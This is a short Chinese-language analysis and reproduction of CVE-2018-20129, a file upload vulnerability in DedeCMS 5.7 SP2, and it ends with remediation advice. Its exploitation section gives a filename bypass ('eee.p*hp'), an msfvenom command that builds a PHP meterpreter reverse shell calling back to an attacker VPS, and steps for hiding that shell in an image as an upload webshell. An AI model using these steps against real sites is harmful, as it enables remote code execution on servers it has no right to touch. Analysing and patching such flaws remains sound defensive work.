CVE-2018-20129漏洞分析及复现
描述
Desdev DedeCMS 5.7 SP2版本中的uploads/include/dialog/select_images_post.php文件存在文件上传漏洞,远程攻击者可利用该漏洞上传并执行任意PHP代码。
分析
uploads/include/dialog/select_images_post.php存在文件上传漏洞,这个模块对应是会员中心—>发表文章—>上传图片。
http://10.11.0.63/uploads/member/content_list.php?channelid=1
在审计select_images_post.php代码时发现36行过滤一些不正常的字符,在38行处判断了文件名是否包含了$cfg_imgtype。我们可以通过构造eee.p*hp 来进行绕过。
利用
我们使用msfvenom -p php/meterpreter/reverse_tcp lhost=47.xx.xxx.xx lport=7169 -f raw >shell.php
此处,我们使用了一个vps来反弹shell。
找了个比较滑稽的图片,将shell.php和图片打成图片马。
大概操作,sss.jpg shell.php >> eee.jpg。
我们使用BurpSuitePro来进行抓包重放。
通过curl去让服务器解析。
成功返回shell。
修复建议
- 文件后缀名检测进行重写。
- 对上传文件名进行统一重命名,后缀名只允许为image type类型。
- 对上传文件夹进行限制,不允许执行php。